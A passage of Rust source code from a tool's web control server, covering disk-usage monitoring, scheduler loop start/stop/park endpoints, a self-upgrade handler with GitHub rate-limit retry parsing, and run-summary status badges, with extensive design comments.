2673            }
2674        }
2675    }
2676    Some(total)
2677}
2678
2679#[derive(Debug, Default)]
2680struct DiskObservation {
2681    scope: Option<DiskScope>,
2682    capacity: DiskCapacity,
2683    in_flight: bool,
2684    finished: Option<std::time::Instant>,
2685}
2686
2687impl DiskObservation {
2688    fn observe(
2689        state: &Arc<Mutex<Self>>,
2690        scope: DiskScope,
2691        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2692    ) -> DiskCapacity {
2693        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2694        if observation.scope.as_ref() != Some(&scope) {
2695            observation.scope = Some(scope.clone());
2696            observation.capacity = DiskCapacity::default();
2697            observation.finished = None;
2698        }
2699        let capacity = observation.capacity;
2700        if observation.in_flight
2701            || observation
2702                .finished
2703                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2704        {
2705            return capacity;
2706        }
2707        observation.in_flight = true;
2708        drop(observation);
2709
2710        let refresh = DiskRefresh {
2711            state: Arc::clone(state),
2712            scope,
2713        };
2714        tokio::task::spawn_blocking(move || {
2715            let next = measure(&refresh.scope);
2716            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2717            if observation.scope.as_ref() == Some(&refresh.scope) {
2718                observation.capacity.retain_successes(next);
2719            }
2720            drop(observation);
2721            // The guard also clears the flight on panic or a cancelled,
2722            // not-yet-started blocking job. No failed scan can wedge health.
2723            drop(refresh);
2724        });
2725        capacity
2726    }
2727}
2728
2729struct DiskRefresh {
2730    state: Arc<Mutex<DiskObservation>>,
2731    scope: DiskScope,
2732}
2733
2734impl Drop for DiskRefresh {
2735    fn drop(&mut self) {
2736        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2737        observation.in_flight = false;
2738        if observation.scope.as_ref() == Some(&self.scope) {
2739            // Wait a full period after completion, including failed scans.
2740            observation.finished = Some(std::time::Instant::now());
2741        }
2742    }
2743}
2744
2745impl DiskView {
2746    /// Return immediately, retaining known capacity while one worker refreshes.
2747    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2748        let capacity = DiskObservation::observe(
2749            &ui.monitor.disk,
2750            DiskScope::of(ui, cfg),
2751            DiskCapacity::measure,
2752        );
2753        Self {
2754            free_bytes: capacity.free_bytes,
2755            runs_bytes: capacity.runs_bytes,
2756            worktrees_bytes: capacity.worktrees_bytes,
2757            cache_bytes: capacity.cache_bytes,
2758            retention: ui
2759                .runs
2760                .parent()
2761                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2762                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2763        }
2764    }
2765}
2766
2767/// The daemon's state as the UI presents it.
2768#[derive(Debug, Serialize)]
2769struct DaemonView {
2770    running: bool,
2771    idle: Option<bool>,
2772    pid: Option<u32>,
2773    /// Every task and run currently in flight. Empty when idle; more than
2774    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2775    /// run going at once.
2776    current: Vec<daemon::Current>,
2777    completed: Option<u64>,
2778    stale_for_secs: Option<i64>,
2779}
2780
2781impl DaemonView {
2782    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2783    /// not this UI's — a crashed daemon must not look alive here while
2784    /// `doctor` calls it dead.
2785    fn of(status: Option<daemon::Reading>) -> Self {
2786        let Some(status) = status else {
2787            return Self {
2788                running: false,
2789                idle: None,
2790                pid: None,
2791                current: Vec::new(),
2792                completed: None,
2793                stale_for_secs: None,
2794            };
2795        };
2796        let now = Timestamp::now();
2797        let age = status.age_secs(now);
2798        Self {
2799            running: status.running(now),
2800            idle: Some(status.idle),
2801            pid: status.pid,
2802            current: status.current,
2803            completed: Some(status.completed),
2804            stale_for_secs: age,
2805        }
2806    }
2807}
2808
2809async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2810    let revisions = ui.monitor.revisions(&ui).await?;
2811    blocking(move || {
2812        // One read of the status file for the two fields that describe it, so
2813        // `daemon` and `loop` in the same answer cannot disagree about who is
2814        // running the loop.
2815        let reading = daemon::read_status(&ui.home);
2816        // Read on its own line, not inside the literal below: the loop's lock
2817        // is not reentrant, and a guard taken as a temporary there would still
2818        // be held when `loop_view` took it again.
2819        let loop_rev = ui.lock_loop().rev;
2820        // One discover for both views: each is a few git processes plus a
2821        // config render, and neither depends on anything the other reads.
2822        let cfg = deputy_config(&ui.repo);
2823        let update = cached_update_view(cfg.as_ref());
2824        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2825        let questions = ui.questions.list();
2826        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
2827        #[cfg(not(test))]
2828        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
2829        #[cfg(test)]
2830        let looping = ui.loop_view(reading.clone());
2831        Ok(Json(HealthView {
2832            jobs: jobs.into_iter().map(WorkerView::from).collect(),
2833            version: env!("CARGO_PKG_VERSION"),
2834            home: ui.home.display().to_string(),
2835            queue_rev: revisions.0,
2836            runs_rev: revisions.1,
2837            questions_rev: revisions.2,
2838            talks_rev: revisions.3,
2839            notifications_rev: stamps_revision(
2840                &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2841            ),
2842            notifications_unread: ui.notices.count_unread(),
2843            loop_rev,
2844            runs_unreadable: runs_unreadable(&ui.runs),
2845            questions_open: questions.iter().filter(|q| q.status.open()).count(),
2846            questions_needs_owner: questions
2847                .iter()
2848                .filter(|q| {
2849                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2850                })
2851                .count(),
2852            daemon: DaemonView::of(reading),
2853            looping,
2854            disk: DiskView::of(&ui, cfg.as_ref()),
2855            update,
2856            upgrade,
2857            upgrade_request_error: ui
2858                .upgrade_request_error
2859                .lock()
2860                .unwrap_or_else(PoisonError::into_inner)
2861                .clone(),
2862        }))
2863    })
2864    .await
2865}
2866
2867/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2868#[derive(Debug, Serialize)]
2869struct LoopView {
2870    /// A scheduler is running, independently of this web process.
2871    running: bool,
2872    /// The scheduler has been asked to stop scheduling new work.
2873    stopping: bool,
2874    /// An explicit operator park was requested, independently from updates.
2875    parking: bool,
2876    /// This scheduler supports durable controls from any web generation.
2877    owned: bool,
2878    /// Repository the loop uses for tasks that name none - what it was
2879    /// started with while it runs, and what a start would use before that.
2880    repo: String,
2881    /// Merge mode override in force, or `null` when each repository's own
2882    /// config decides.
2883    merge: Option<String>,
2884    /// Why the last loop in this process ended, when it ended badly.
2885    ///
2886    /// The only place a crashed loop is visible to someone holding a phone.
2887    /// It is logged at error level as well, but a terminal nobody kept open
2888    /// is not a report, and a loop that died at 3am must not read as merely
2889    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2890    /// answers the same question about the same kind of failure.
2891    last_error: Option<String>,
2892    /// The status file, judged the same way `/api/health` judges it: this is
2893    /// what says whether a loop is alive in some *other* process.
2894    daemon: DaemonView,
2895}
2896
2897/// A legacy embedded scheduler that this web process cannot control.
2898///
2899/// Worker-protocol schedulers use durable controls regardless of which process
2900/// started them. Older schedulers are identified by their foreign heartbeat.
2901#[derive(Debug, Clone, Copy)]
2902struct Foreign {
2903    /// The pid the other process published, when it published one.
2904    pid: Option<u32>,
2905}
2906
2907impl Foreign {
2908    /// Another process's live loop, or `None` when this process is free to
2909    /// run one.
2910    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2911        // A fresh heartbeat with no pid in it is still evidence of a live
2912        // daemon. "Some other process" is the honest answer, and refusing
2913        // to start beside it is the safe one.
2914        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
2915            return None;
2916        }
2917        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2918    }
2919
2920    /// How a conflict names it. The pid is the whole point of the message: it
2921    /// is what the operator needs to find the terminal that owns the loop.
2922    fn who(&self) -> String {
2923        match self.pid {
2924            Some(pid) => format!("another magi process (pid {pid})"),
2925            None => "another magi process".to_owned(),
2926        }
2927    }
2928}
2929
2930/// How a loop is started, as a future this module can hold onto.
2931///
2932/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2933/// trait object or a hand-written `Debug` impl for the sake of one seam.
2934type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2935
2936#[cfg(test)]
2937type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2938
2939/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2940#[cfg(test)]
2941fn launch_daemon(
2942    opts: daemon::Opts,
2943    stop: daemon::Stop,
2944) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2945    Box::pin(daemon::serve_until(opts, stop))
2946}
2947
2948/// Local web-control revisions and errors, plus the unit-test launch seam.
2949#[derive(Debug, Default)]
2950struct LoopState {
2951    /// The loop, while there is one.
2952    #[cfg(test)]
2953    live: Option<Live>,
2954    /// Local control changes streamed as `loop_rev`; actual scheduler and
2955    /// execution ownership comes from durable status and OS-held worker leases.
2956    rev: u64,
2957    /// Why the last loop ended, when it ended badly. See
2958    /// [`LoopView::last_error`].
2959    last_error: Option<String>,
2960}
2961
2962/// A loop in flight.
2963#[cfg(test)]
2964#[derive(Debug)]
2965struct Live {
2966    /// The cooperative stop, shared with the loop task.
2967    stop: daemon::Stop,
2968    /// The task itself, kept only to answer whether it is still there: a loop
2969    /// that panicked never records its own end, and without this the view
2970    /// would go on reporting a loop that no longer exists - the one lie that
2971    /// would leave the operator with no button to press.
2972    handle: tokio::task::JoinHandle<()>,
2973    /// What the loop was started with, so the view reports the repository and
2974    /// merge mode its runs will actually use rather than what an edit to the
2975    /// config since would give.
2976    opts: daemon::Opts,
2977}
2978
2979#[cfg(test)]
2980impl Live {
2981    /// Is the task still there? See [`Live::handle`].
2982    fn alive(&self) -> bool {
2983        !self.handle.is_finished()
2984    }
2985}
2986
2987/// Take the loop lock, recovering from a poisoned one.
2988///
2989/// What this mutex holds is a stop flag, a task handle and two counters, none
2990/// of which a panic elsewhere can leave in a state worth refusing to read.
2991/// Propagating the poison instead would mean an operator who can see the loop
2992/// running and can no longer stop it from the only surface they have.
2993fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2994    state.lock().unwrap_or_else(PoisonError::into_inner)
2995}
2996
2997/// `GET /api/loop`.
2998async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2999    blocking(move || {
3000        let reading = daemon::read_status(&ui.home);
3001        #[cfg(not(test))]
3002        let view = ui.try_loop_view(reading)?;
3003        #[cfg(test)]
3004        let view = ui.loop_view(reading);
3005        Ok(Json(view))
3006    })
3007    .await
3008}
3009
3010/// The body of `POST /api/loop`.
3011///
3012/// One required field and nothing else: no `default` and no unknown fields,
3013/// so a body that fails to say which way the switch was flipped is a 400
3014/// rather than a tap that quietly does the opposite of what was pressed.
3015#[derive(Debug, Deserialize)]
3016#[serde(deny_unknown_fields)]
3017struct LoopCommand {
3018    running: bool,
3019    /// Stop the run in flight at its next node boundary rather than letting it
3020    /// finish.
3021    ///
3022    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3023    /// competition is tens of minutes of paid work and finishing it is
3024    /// normally the cheapest thing to do. A park is for the operator who
3025    /// wants the process gone now - to replace the binary, most of all - and
3026    /// it costs at most the node in progress because every node writes its
3027    /// state before the next one starts.
3028    #[serde(default)]
3029    park: bool,
3030}
3031
3032/// Start or control the detached scheduler without waiting for execution
3033/// workers. Only an explicit park asks workers to stop at a node boundary.
3034async fn loop_post(
3035    State(ui): State<Arc<Ui>>,
3036    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3037) -> ApiResult<Json<LoopView>> {
3038    // Taken as a `Result` so a malformed body is a 400 like every other route
3039    // here, rather than axum's default 422 that the UI has no branch for.
3040    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3041    #[cfg(not(test))]
3042    {
3043        if body.running {
3044            ui.start_detached_loop().await?;
3045        } else {
3046            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3047            ui.stop_loop(foreign, body.park)?;
3048        }
3049        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3050    }
3051    #[cfg(test)]
3052    {
3053        blocking(move || {
3054            let reading = daemon::read_status(&ui.home);
3055            let foreign = Foreign::of(reading.as_ref());
3056            if body.running {
3057                ui.start_loop(foreign)?;
3058            } else {
3059                ui.stop_loop(foreign, body.park)?;
3060            }
3061            Ok(Json(ui.loop_view(reading)))
3062        })
3063        .await
3064    }
3065}
3066
3067/// What `POST /api/upgrade` set in motion.
3068#[derive(Debug, Serialize)]
3069struct UpgradeView {
3070    /// The version this process is running.
3071    from: String,
3072    /// The release it is replacing itself with, when there is one.
3073    to: Option<String>,
3074    /// What the operator should expect to happen next.
3075    detail: String,
3076}
3077
3078/// The stage of an upgrade that is still moving, if the record says so.
3079/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3080fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3081    progress.filter(|p| !p.stage.terminal())
3082}
3083
3084/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3085/// Unknown diagnostics retain their complete message without guessing a delay.
3086fn upgrade_retry_after(message: &str) -> Option<u64> {
3087    if !message.contains("GitHub") || !message.contains("rate limit") {
3088        return None;
3089    }
3090    if message.contains("retry now") {
3091        return Some(0);
3092    }
3093    let duration = message
3094        .split_once("resets in ")
3095        .or_else(|| message.split_once("retry after "))?
3096        .1
3097        .split_once(')')?
3098        .0;
3099    let mut rest = duration.trim();
3100    if rest.is_empty() {
3101        return None;
3102    }
3103    let mut total = 0u64;
3104    while !rest.is_empty() {
3105        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3106        let amount: u64 = rest[..n].parse().ok()?;
3107        let scale = match rest[n..].chars().next()? {
3108            's' => 1,
3109            'm' => 60,
3110            'h' => 3600,
3111            'd' => 86400,
3112            _ => return None,
3113        };
3114        total = total.checked_add(amount.checked_mul(scale)?)?;
3115        rest = rest[n + 1..].trim_start();
3116    }
3117    Some(total)
3118}
3119
3120#[derive(Debug, Clone, Serialize)]
3121struct UpgradeRequestFailure {
3122    occurred_at: String,
3123    error: String,
3124    retry_after_secs: Option<u64>,
3125    /// Unix seconds; independent of the phone's polling cadence.
3126    retry_at: Option<u64>,
3127}
3128
3129impl UpgradeRequestFailure {
3130    fn new(error: String) -> Self {
3131        let retry_after_secs = upgrade_retry_after(&error);
3132        let now = std::time::SystemTime::now()
3133            .duration_since(std::time::UNIX_EPOCH)
3134            .unwrap_or_default()
3135            .as_secs();
3136        Self {
3137            occurred_at: jiff::Timestamp::now().to_string(),
3138            error,
3139            retry_after_secs,
3140            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3141        }
3142    }
3143}
3144
3145/// `POST /api/upgrade` - replace this binary with the newest release and come
3146/// back on it.
3147///
3148/// Replace the installed binary, restart the detached scheduler, release the
3149/// web listener, then start the successor. Active task and conversation
3150/// workers retain their immutable executable and continue without parking.
3151///
3152/// A legacy embedded scheduler is the only incompatible owner: its work
3153/// must finish or park before the first migration replaces its process.
3154///
3155/// Answers **202**: the reply has to reach the phone while this process can
3156/// still send one, and the phone learns the deck is back by reconnecting.
3157async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3158    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3159}
3160
3161async fn begin_upgrade(
3162    ui: &Arc<Ui>,
3163    trigger: updater::UpgradeTrigger,
3164    latest: Option<kaishin::LatestRelease>,
3165) -> Response {
3166    let reading = daemon::read_status(&ui.home);
3167    if let Some(other) = Foreign::of(reading.as_ref()) {
3168        return ApiError::conflict(format!(
3169            "{} is a legacy scheduler without detached restart support. \
3170             Finish or explicitly park its work in the existing UI before \
3171             this first migration; independent schedulers do not need this.",
3172            other.who()
3173        ))
3174        .into_response();
3175    }
3176
3177    // A second upgrade while one is moving would replace the binary and
3178    // signal the handover again after `serve` already consumed the first
3179    // signal, leaving the process in `replaced` forever. Try-lock rather than
3180    // wait: a phone connection must not hang behind a GitHub round trip.
3181    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3182        return ApiError::conflict("another request is already preparing an upgrade")
3183            .into_response();
3184    };
3185    // Hold the same gate through recording/clearing the request outcome, so
3186    // an older response cannot overwrite a retry's result.
3187    if trigger == updater::UpgradeTrigger::Auto {
3188        let cfg = match Config::discover(&ui.repo, None) {
3189            Ok((cfg, _)) => cfg,
3190            Err(e) => {
3191                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3192            }
3193        };
3194        let Some(latest) = latest else {
3195            return StatusCode::NO_CONTENT.into_response();
3196        };
3197        let busy = ui.auto_upgrade_busy();
3198        let failed = ui
3199            .auto_failed_tag
3200            .lock()
3201            .unwrap_or_else(PoisonError::into_inner)
3202            .clone();
3203        let decision = auto_upgrade_decision(
3204            &cfg.update,
3205            updater::disabled_by_env(),
3206            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3207                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3208            busy,
3209            &latest.tag_name,
3210            failed.as_deref(),
3211        );
3212        if decision != AutoUpgradeDecision::Trigger {
3213            let reason = match decision {
3214                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3215                AutoUpgradeDecision::Skip(reason) => reason,
3216                AutoUpgradeDecision::Trigger => unreachable!(),
3217            };
3218            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3219            return StatusCode::NO_CONTENT.into_response();
3220        }
3221        // Close run admission, then recheck under the same request gate.
3222        // A resume that got in before the flag is visible in `resuming`;
3223        // one that arrives afterwards is refused by `begin_resume`.
3224        ui.upgrade_spawned
3225            .store(true, std::sync::atomic::Ordering::SeqCst);
3226        if ui.auto_upgrade_busy() {
3227            ui.upgrade_spawned
3228                .store(false, std::sync::atomic::Ordering::SeqCst);
3229            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3230            return StatusCode::NO_CONTENT.into_response();
3231        }
3232        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3233        return finish_upgrade_request(
3234            ui,
3235            upgrade_checked_for(
3236                ui,
3237                env!("CARGO_PKG_VERSION").into(),
3238                Ok(Some(latest)),
3239                trigger,
3240            ),
3241        );
3242    }
3243    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3244}
3245
3246fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3247    match result {
3248        Ok(out) => {
3249            *ui.upgrade_request_error
3250                .lock()
3251                .unwrap_or_else(PoisonError::into_inner) = None;
3252            out.into_response()
3253        }
3254        Err(error) if error.status != StatusCode::CONFLICT => {
3255            let failure = UpgradeRequestFailure::new(error.message);
3256            *ui.upgrade_request_error
3257                .lock()
3258                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3259            let mut response = (error.status, Json(&failure)).into_response();
3260            if let Some(value) = failure
3261                .retry_after_secs
3262                .and_then(|secs| secs.to_string().parse().ok())
3263            {
3264                response.headers_mut().insert("retry-after", value);
3265            }
3266            response
3267        }
3268        Err(error) => error.into_response(),
3269    }
3270}
3271
3272async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3273    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3274        return Err(ApiError::conflict(
3275            "an upgrade is already in progress (this process started one and it \
3276             has not finished or failed yet)",
3277        ));
3278    }
3279    let recorded = updater::read_progress(&ui.home);
3280    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3281        return Err(ApiError::conflict(format!(
3282            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3283             stays stuck, restart the deck; on start it settles a stale record.",
3284            p.stage.as_str(),
3285            p.from,
3286            p.to.as_deref().unwrap_or("?"),
3287        )));
3288    }
3289
3290    // The same kill switch the background check honours (`disabled_by_env`),
3291    // checked before anything else for the same reason it is read before the
3292    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3293    // contact GitHub from this process", and a button press must not
3294    // override that any more than a broken `magi.toml` may.
3295    if crate::updater::disabled_by_env() {
3296        return Ok((
3297            StatusCode::OK,
3298            Json(UpgradeView {
3299                from: env!("CARGO_PKG_VERSION").to_owned(),
3300                to: None,
3301                detail: format!(
3302                    "Automatic updates are disabled by {}. Nothing was parked \
3303                     and nothing restarted.",
3304                    crate::updater::NO_AUTOUPDATE_ENV
3305                ),
3306            }),
3307        ));
3308    }
3309
3310    // Check before disturbing listeners or scheduling: no available update
3311    // means there is no reason to restart anything.
3312    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3313    let from = env!("CARGO_PKG_VERSION").to_owned();
3314    let latest = match crate::updater::Checker::new(&cfg.update) {
3315        Some(checker) => checker.newer_release().await,
3316        None => Ok(None),
3317    };
3318    upgrade_checked(ui, from, latest)
3319}
3320
3321fn upgrade_checked(
3322    ui: &Arc<Ui>,
3323    from: String,
3324    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3325) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3326    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3327}
3328
3329fn upgrade_checked_for(
3330    ui: &Arc<Ui>,
3331    from: String,
3332    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3333    trigger: updater::UpgradeTrigger,
3334) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3335    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3336    let Some(latest) = latest else {
3337        return Ok((
3338            StatusCode::OK,
3339            Json(UpgradeView {
3340                from,
3341                to: None,
3342                detail: "Already on the newest release. Nothing was parked \
3343                         and nothing restarted."
3344                    .to_owned(),
3345            }),
3346        ));
3347    };
3348
3349    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3350
3351    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3352    // poll must see a `Downloading` stage immediately, not whenever the
3353    // spawned task happens to get scheduled.
3354    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3355    progress.trigger = trigger;
3356    updater::write_progress_logged(&ui.home, &progress);
3357
3358    let home = ui.home.clone();
3359    ui.upgrade_spawned
3360        .store(true, std::sync::atomic::Ordering::SeqCst);
3361    let spawned = Arc::clone(&ui.upgrade_spawned);
3362    let runner = ui.upgrade_runner;
3363    let failed = ui.auto_failed_tag.clone();
3364    let tag = latest.tag_name.clone();
3365    tokio::spawn(async move {
3366        if let Err(e) = runner(home.clone()).await {
3367            if trigger == updater::UpgradeTrigger::Auto {
3368                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3369            }
3370            tracing::error!("the upgrade did not complete: {e:#}");
3371            // A failure of this attempt says nothing about a handover an
3372            // earlier request already has in flight; checked and written
3373            // under the progress lock.
3374            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3375            // Release only after failure bookkeeping, before accepting a retry.
3376            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3377        }
3378    });
3379
3380    Ok((
3381        StatusCode::ACCEPTED,
3382        Json(UpgradeView {
3383            from,
3384            to: Some(latest.tag_name),
3385            detail,
3386        }),
3387    ))
3388}
3389
3390/// Replace the binary, then ask [`serve`] to hand the address over.
3391///
3392/// Separated from the handler so the 202 is already on its way, and separated
3393/// from the spawn so the successor starts only after the listener is dropped.
3394async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3395    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3396    // hang the upgrade for as long as the process lives.
3397    crate::updater::run_self_update(true, false, true).await?;
3398    updater::log_step(&home, "binary replaced - recording the replaced stage");
3399    if let Some(mut progress) = updater::read_progress(&home) {
3400        progress.advance(updater::Stage::Replaced);
3401        updater::write_progress_logged(&home, &progress);
3402    }
3403    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3404    HANDOVER.notify_one();
3405    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3406    Ok(())
3407}
3408
3409/// One row in the run list.
3410///
3411/// The list route returns this rather than whole `RunState`s: the summary of a
3412/// run is a few hundred bytes and the state is megabytes, and the difference
3413/// is what makes the history usable on a mobile link.
3414#[derive(Debug, Serialize)]
3415struct RunSummary {
3416    id: String,
3417    short: String,
3418    status: String,
3419    done: bool,
3420    instruction: String,
3421    title: String,
3422    repo: String,
3423    repo_name: String,
3424    created_at: String,
3425    updated_at: String,
3426    candidates: usize,
3427    viable: usize,
3428    judges: usize,
3429    winner: Option<char>,
3430    reviews: usize,
3431    quota_losses: usize,
3432    event: Option<String>,
3433    /// The later attempt at the same task that replaced this one, if any.
3434    ///
3435    /// Two cards with one title is otherwise unreadable: this is what lets
3436    /// the deck say "superseded by 4043" on the older of the pair.
3437    superseded_by: Option<String>,
3438    /// Blocked on a question nobody has answered.
3439    ///
3440    /// Derived from the question store rather than stored on the run: an agent
3441    /// calling `magi ask` blocks mid-node, and writing a status from there
3442    /// would race the graph's own save of `run.json` and be overwritten at the
3443    /// next node boundary. Asking the store is always true and never races.
3444    waiting: bool,
3445    /// Whether the process recorded as driving this run can still be proven
3446    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3447    /// rather than presenting its last graph node as still in flight.
3448    live: crate::run::Liveness,
3449    /// The land loop's last look at the pull request, when there is one.
3450    pr: Option<crate::run::PrRecord>,
3451    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3452    /// design — never picked up by the PR-polling merge watcher, unlike an
3453    /// ordinary `Ready` that may still be a live landing candidate. See
3454    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3455    /// re-deriving the same check from `status` and `merge.mode` itself.
3456    unmerged_by_design: bool,
3457    /// Derived presentation status matching [`RunDetailView::display_status`].
3458    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3459    #[serde(default)]
3460    display_status: String,
3461    /// What the status badge shows: `display_status`, or `superseded` for a
3462    /// non-live run a later attempt replaced. See [`run_badge_status`].
3463    #[serde(default)]
3464    badge_status: String,
3465    /// Who started the run, as the one label every surface shares; the
3466    /// "origin unknown" wording when the record predates origins.
3467    origin_label: String,
3468}
3469
3470impl RunSummary {
3471    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3472        Self {
3473            id: state.id.clone(),
3474            short: state.short().to_owned(),
3475            status: status_word(state.status),
3476            done: state.status.done(),
3477            unmerged_by_design: state.unmerged_by_design(),
3478            display_status: run_display_status(state, waiting, live),
3479            badge_status: run_display_status(state, waiting, live),
3480            instruction: state.instruction.clone(),
3481            title: title_from(&state.instruction, TITLE_MAX),
3482            repo: state.repo.display().to_string(),
3483            repo_name: state
3484                .repo
3485                .file_name()
3486                .map(|n| n.to_string_lossy().into_owned())
3487                .unwrap_or_default(),
3488            created_at: state.created_at.to_string(),
3489            updated_at: state.updated_at.to_string(),
3490            candidates: state.candidates.len(),
3491            viable: state.viable().len(),
3492            judges: state.config.graph.judges,
3493            winner: state.winner().map(|c| c.label),
3494            reviews: state.reviews.len(),
3495            quota_losses: state.quota.len(),
3496            event: state.events.last().map(|e| e.message.clone()),
3497            waiting,
3498            live,
3499            // Filled in by the list route, which is the only place that can
3500            // see a task's other attempts.
3501            superseded_by: None,
3502            pr: state.pr.clone(),
3503            origin_label: crate::run::origin_label(state.origin.as_ref()),
3504        }
3505    }
3506}
3507
3508/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3509/// the same string `serde` writes for the status inside a full run.
3510fn status_word(status: RunStatus) -> String {
3511    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3512    // was a third way of naming the same statuses, and one that changed
3513    // silently with a derive.
3514    status.as_str().to_owned()
3515}
3516
3517/// The presentation status for a run, unified across summaries and details.
3518///
3519/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3520/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3521/// runs awaiting operator answers.
3522fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3523    if waiting {
3524        return "waiting".to_owned();
3525    }
3526    if state.unmerged_by_design() {
3527        return "unmerged".to_owned();
3528    }
3529    if !state.status.done() && live == crate::run::Liveness::Dead {
3530        // The driver claim clears this flag before saving another event.
3531        // A previous park event can therefore outlive a resumed driver.
3532        if state.parked {
3533            return "parked".to_owned();
3534        }
3535        return "stale".to_owned();
3536    }
3537    status_word(state.status)
3538}
3539
3540/// The word a run's status badge shows: `display_status`, except that a
3541/// non-terminal run which is not provably live and was replaced by a later
3542/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3543///
3544/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3545/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3546/// own word, so superseded never claims more than "not live".
3547fn run_badge_status(
3548    state: &RunState,
3549    display_status: &str,
3550    live: crate::run::Liveness,
3551    superseded: bool,
3552) -> String {
3553    if state.status.done() || live == crate::run::Liveness::Live {
3554        return display_status.to_owned();
3555    }
3556    if superseded {
3557        return "superseded".to_owned();
3558    }
3559    // A dead run's `display_status` is `stale`, except that a deliberate park
3560    // and an open owner question keep their own word: neither is a crash, and
3561    // the question still needs an answer. Anything else dead reads `stale`.
3562    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3563        return "stale".to_owned();
3564    }
3565    display_status.to_owned()
3566}
3567
3568/// `?limit=`, clamped by the handler.
3569#[derive(Debug, Deserialize)]
3570struct ListQuery {
3571    #[serde(default)]
